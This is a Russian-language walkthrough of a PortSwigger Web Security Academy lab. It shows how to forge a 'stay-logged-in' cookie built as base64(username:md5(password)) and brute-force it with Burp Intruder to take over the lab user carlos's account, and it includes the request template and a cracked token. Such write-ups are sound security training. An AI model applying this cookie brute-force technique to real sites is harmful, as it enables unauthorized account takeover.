В данной лабе есть функция Stay logged. Уязвимость в cookie позволит обойти механизм аутентификации. Нужно получить доступ к аккаунту carlos.Данные для входа: wiener:peter.
https://0a9a005b04645fe381485247005e002e.web-security-academy.net
Solution
Залогинюсь, чтобы получить эту интересную печеньку.
Вот она: stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw. На первый взгляд похоже на base64. Попробую декодировать:
cu63:~/ $ echo "d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw" | base64 -d
wiener:51dc30ddc473d43a6011e9ebba6ca770
Хмм, попробую подставить другое имя пользователя и зайти:
cu63:~/ $ echo "carlos:51dc30ddc473d43a6011e9ebba6ca770" | base64
Y2FybG9zOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcwCg==
Не получилось. Нужно подставить правильное значение после :. Значение имеет длину 32. Похоже на длину хешей. Попробую посчитать популярные хеши от пароля peter:
sha1sum - bb7a1c32dfb1ae40be9560720747d7304ac5228a
md5 - 51dc30ddc473d43a6011e9ebba6ca770
Значит сайт использует следующую формулу:
base64(login + ':' + md5(password))
Соберу атаку в Intruder:
GET /my-account HTTP/2
Host: 0a9a005b04645fe381485247005e002e.web-security-academy.net
Cookie: session=gsyx7QdOYc50472BFp6Qy8TiMP0pZEvp; stay-logged-in=§val§
Возьму предложенный список паролей от Port Swigger туть. А атаку настрою вот так:

Начну атаку. В случае успешного токена должен вернуться ответ 200:

Подошел следующий токен:
Y2FybG9zOmFhNDdmODIxNWM2ZjMwYTBkY2RiMmEzNmE5ZjQxNjhl - base64("carlos:" + md5("daniel"))
Войду в аккаунт:
